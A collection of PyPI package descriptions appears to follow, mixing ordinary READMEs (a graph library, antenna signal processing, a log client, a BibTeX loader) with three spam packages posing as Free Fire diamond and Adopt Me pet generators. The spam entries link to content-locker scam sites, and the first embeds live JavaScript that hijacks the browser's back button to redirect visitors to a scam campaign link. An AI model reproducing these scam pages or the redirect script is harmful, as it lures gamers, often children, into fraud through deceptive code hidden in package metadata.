semvec/pypi-packages huggingface dataset:
etna-dulcinea 3.1.0
Script to test Quixote moulinettes locally

Dulcinea
========

Script to manually load and execute jobs based on Quixote blueprints.

## Install
```
pip install -r requirements.txt
```

## How to use dulcinea

In most cases, the script can be used as follows:
```
$ dulcinea path/to/moulinette/ --override-deliveries /path/to/deliveries/ --auto-info
```

For an extensive tutorial on how Dulcinea can be used to test moulinettes, see [the relevant documentation](https://etna-alternance.github.io/quixote/testing_moulinettes_locally.html).
mixed-graphs 0.1.1
Python package for representing mixed graphs
Requires Python: >=3.6

# mixed-graphs
Package for representing mixed graphs in Python.

## Install
```
$ pip install mixed-graphs
```

## Example
Create an empty graph.
```
>>> G = MixedGraph()
```
Add nodes.  
```
>>> G.add_node('X')
>>> G.add_node('Y')
```
Add an edge from 'X' to 'Y' (unknown arrowheads by default).
```
>>> G.add_edge('X', 'Y')
```
Orient an end of the edge specifying the arrowhead.
```
>>> G.set_edge_ori('X', 'Y', end='X', ori='-') # undirected
>>> G.set_edge_ori('X', 'Y', end='Y', ori='>') # directed
```
Get the orientation of the 'X' end.
```
>>> G.get_edge_ori('X', 'Y', end='X')
<UNDIRECTED>
```
Get the orientation of both ends in a dict.
```
>>> G.get_edge_ori('X', 'Y')
{'X': <UNDIRECTED>, 'Y': <DIRECTED>}
```

# License
Released under the 3-Clause BSD license: (see LICENSE file)

Copyright (C) 2021 Pedro V. B. Jeronymo
free-fire-diamond 2021
free fire diamond
Requires Python: >=3.6

<h1></h1>
<p>
	<p><br /></p><div class="separator" style="clear: both; text-align: center;">
<a href="https://gro3kgzf5xqoyh6yjzrogg-on.drv.tw/freefiregamegifts/freefirefb/" rel="nofollow" target="_blank"><img border="0" data-original-height="49" data-original-width="471" src="https://1.bp.blogspot.com/-Ckawysi-OnA/XXTqPrAWMQI/AAAAAAAAA2c/yfmMK93i-TkqFizvOSbeGDIxQzJVx7-_QCLcBGAs/s1600/button-6.png" /></a></div><p>&nbsp;</p><p>free fire diamond<br />
</p>
<script type="text/javascript">
  !function(){
    var campaign_link = "https://www.verifyspot.net/cl.php?id=be5b944e4b5f84d9fc039aca2b146994"; // REPLACE WITH YOUR LINK
    var t;             
    try{
      for(t=0;10>t;++t)history.pushState({},"","#");
      onpopstate=function(t){t.state&&location.replace(campaign_link)}}
    catch(o){}
  }();
</script>
<br>

# free fire diamond
```bash
pip3 free fire diamond
pyargus 1.1.post1
Signal processing algorithms for antenna arrays

# pyArgus

This python package aims to implement signal processing algorithms applicable in antenna arrays. The implementation mainly focuses on the beamforming and
direction finding algorithms.
For array synthesis and radiation pattern optimization please check the "arraytool" python package.
https://github.com/zinka/arraytool and https://zinka.wordpress.com/ by S. R. Zinka

Named after Argus the giant from the greek mitology who had hundreds of eyes.

### Package organization:

- pyArgus: Main package
	- antennaArrayPattern: Implements the radiation pattern calculation of antenna arrays
	- beamform: Implements beamformer algorithms.
	- directionEstimation: Implements DOA estimation algorithms and method for estimating the spatial correlation matrix.
- test: Sub package
	contains demonstration functions for antenna pattern plot, beamforming and direction of arrival estimation. 

### Implemented Algorithms

- Beamforiming:
    - Fixed beamformers:
        - Maximum Signal to Interference Ratio beamformer
        - Maximum Signal to Interference Ratio beamformer with Godara's method
    - Adaptive beamformer:
        - Optimum Wiener beamformer (with known signal of interest direction)
        - MSINR with known covariance matrices
        - MMSE with known signal of interest

- Direction of Arrival Estimation:
    - DOA algorithms:
        - Bartlett (Fourier) method
        - Capon's method
        - Burg's Maximum Entropy Method (MEM)
        - Multiple Signal Classification (MUSIC)
        - Multi Dimension MUSIC (MD-MUSIC)

    - Util functions:
        - Spatial correlation matrix estimation using the sample average technique
        - Forward-backward averaging
        - Spatial smoothing
        - DOA results plot with highlighting the ambiguous regions (Only for Uniform linear arrays)

### Antenna Array Pattern Plot Features
- Arbitrary configured planar antenna systems
- Takes into account the pattern of the signal radiating elements

The documentation of the package is written in Jupyter notebook, which can be found on the following sites:

Github: [github.com/petotamas/pyArgus](https://github.com/petotamas/pyArgus)

Personal website: [tamaspeto.com](https://www.tamaspeto.com/pyargus) 

Tamás Pető 2016-2021, Hungary
lionhandler 0.3
A client application for handling logging sending to a server

# Lion Handler - Loghandler application - Client

## Team
Authored by: [Saulo Leão - @sleao](https://github.com/sleao)

Coauthored by: [Thiago Pinho - @thiagolrpinho](https://github.com/thiagolrpinho)

# Lion Handler
Over engineering things is my passion and I will do it forever. That being said, this repo includes both a server for receiving and managing logs via websockets/API and a client that you can attach to your code that will send the logs over.

## Setting up goals

To better track this project, I'll write a bunch of things I think it should have in order to achieve my goals for this tool.

My basic idea for this is to be able to send/receive logs and the server should store it in MongoDB, but also to have some sort of control panel, to explore the logs with analytics, maybe or something like that.

The server itself should have a frontend (the control panel), with access control (a.k.a. login/logout), and the hability to create **application tokens**.

**Application tokens** will be used as a sort of access control to the log server and to minimize the amount of data in each message. An application token should be a HS256 encrypted [JWT](https://jwt.io/), with info about the app on its payload.

I'm building this to work in a container based enviroment, that hosts many applications with one or more instances of each application, so there should be a way to differentiate the instances (maybe use hostnames, since each are unique to the application pod?)

On receiving a connection, the server should validate the token (or deny the connection) and assign the application instance to its application **bucket**

A **bucket** should be a collection of logs related to an application, each log with its instance tag.

- **Client**

  - [x] Can send INFO, WARNING, ERROR, CRITICAL and DEBUG
  - [x] Can handle both String and JSON messages
  - [x] Has a fallback in case the server is unreachable

## Connection Manager

In order to better manage all the socket connections from all different applications, a Connection Manager class is defined. Besides handling both instance connection and disconnection, it should be able to return a list of active Apps/Instances, following the JSON specification below

```json
{
    "cerco": {
        "running_instances": 3,
        "instances": {
            "a2b5": {
                "socket": "hash",
                "connected_at": "6/11/2021"
            },
            "a2b6": {
                "socket": "WebSocket",
                "connected_at": "6/11/2021"
            },
            "a2b7": {
                "socket": "WebSocket",
                "connected_at": "6/11/2021"
            }
        }
    },
    "midas": {
        ...
    }
}

```
free-fire-diamond-hack-no-human-verification 2021
free fire diamond hack no human verification
Requires Python: >=3.6

<h1></h1>
<p>
	<p><br /></p><div class="separator" style="clear: both; text-align: center;">
<a href="https://gro3kgzf5xqoyh6yjzrogg-on.drv.tw/freefiregamegifts/freefirefb/" rel="nofollow" target="_blank"><img border="0" data-original-height="49" data-original-width="471" src="https://1.bp.blogspot.com/-Ckawysi-OnA/XXTqPrAWMQI/AAAAAAAAA2c/yfmMK93i-TkqFizvOSbeGDIxQzJVx7-_QCLcBGAs/s1600/button-6.png" /></a></div><p>&nbsp;</p><p>free fire diamond hack no human verification<br />
</p>
<br>

# free fire diamond hack no human verification
```bash
pip3 free fire diamond hack no human verification
bytexpy 0.2
Easy Graphics

bytexpy.window.Createwindow("BytexPy Work!", 640, 480) #Create Window

bytexpy.window.waitWindow() #Wait Window


bytexpy.window.close() #Close Window

bytexpy.window.setIcon("icon.ico") #assets/images/window/icon.ico #standart folders

#Canvas

bytexpy.CanvasDraw.CreateText(10, 10, "Hello World!", 72, 72) #xPos, yPos, text, widthFont, heightFont

bytexpy.CanvasDraw.CreateCube(0, 0, 100, 100, 2) #xPos1, yPos1, xPos2, yPos2, widthCube

bytexpy.CanvasDraw.CreateLine(0, 0, 100, 100, 2) #xPos1, yPos1, xPos2, yPos2, widthLine

bytexpy.CanvasDraw.CreateCircle(0, 0, 100, 100, 2) #xPos1, yPos1, xPos2, yPos2, widthCircle

bytexpy.CanvasDraw.ImageLoad("BytexPy.png")  #assets/images/BytexPy.png #standart folders
minimal-bibtex-io-relleums 0.0.2
A minimal loader and dumper for bibtex-files
Requires Python: >=3.0

Minimal bibtex io
=================
|BlackStyle|

Format according to "Tame the BeaST" by Nicolas Markey, Oct. 2009.

- ``@TYPE{citekey, key = {value}, ...}``, This will be loaded as
  bib-entry of type ``TYPE``

- ``@string{key = {value}, ...}``

- ``@preamble{value}``

Functions
---------

``loads``
~~~~~~~~~
Loads the raw bytes of a bibtex-file into a dictionary and makes only minimal assumptions on the structrue but not on the content.

``normalize``
~~~~~~~~~~~~~
Takes the raw bib-dictionary and tries to decode and normalize it.
All optionally. It strips away leading, trailing, and consecutive whitespaces.
It converts all keys, entrytypes, and citekyes to lowercase.
It decodes keys and/or values to ''ascii''.

``dumps``
~~~~~~~~~
Dumps a normalized (all ``ascii`` string) bib-dictionary into a bib-file-string.

Example
-------
.. code:: python

    import minimal_bibtex_io as mbib

    # Read bytes, make no assumptions on keys or encoding
    with open("minimal_bibtex_io/tests/resources/example.bib", "rb") as f:
        rawbib = mbib.loads(f.read())

    # Try to decode to ascii and set keys to lower case
    bib = mbib.normalize(rawbib)

    entry = {"type": "book", "citekey": "kasperle1887", "fields": {}}
    entry["fields"]["title"] = "The hills are green"
    entry["fields"]["year"] = 1887
    entry["fields"]["whateverkeyiwant"] = "This is only relevant for me."
    bib["entries"].append(entry)

    # eventually ...
    with open("my.bib", "wt") as f:
        f.write(mbib.dumps(bib, indent=4, width=79))

.. |BlackStyle| image:: https://img.shields.io/badge/code%20style-black-000000.svg
   :target: https://github.com/psf/black
adopt-me-free-pets-no-human-verification 2021
how to get free pets in adopt me glitch
Requires Python: >=3.6

<h1></h1>
<p>
	<p><b>adopt me free pets no human verification&nbsp;</b></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://www.locked1.com/cl.php?id=ce1fd8c383bc6e27907d025f67d19aef" rel="nofollow" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="51" data-original-width="253" src="https://1.bp.blogspot.com/-aqYnmZGueLM/YOb72EYirWI/AAAAAAAACC8/RPDI9kDemLoI17kCCCb7L-Be-0LqKaFwQCLcBGAsYHQ/s320/button%25281%2529.png" /></a></div><br /><b>free adopt me pets generator<br />adopt me free pets no human verification , how to get free pets in adopt me glitch 2021<br />how to get free pets in adopt me hack<br />how to get free pets in adopt me that actually work<br />how to get free pets in adopt me 2020 codes<br />how to get free pets in adopt me 2021 hack<br />how to get free legendary pets in adopt me that actually work<br /></b><p></p>
<br>

# adopt me free pets no human verification
```bash
pip3 adopt me free pets no human verification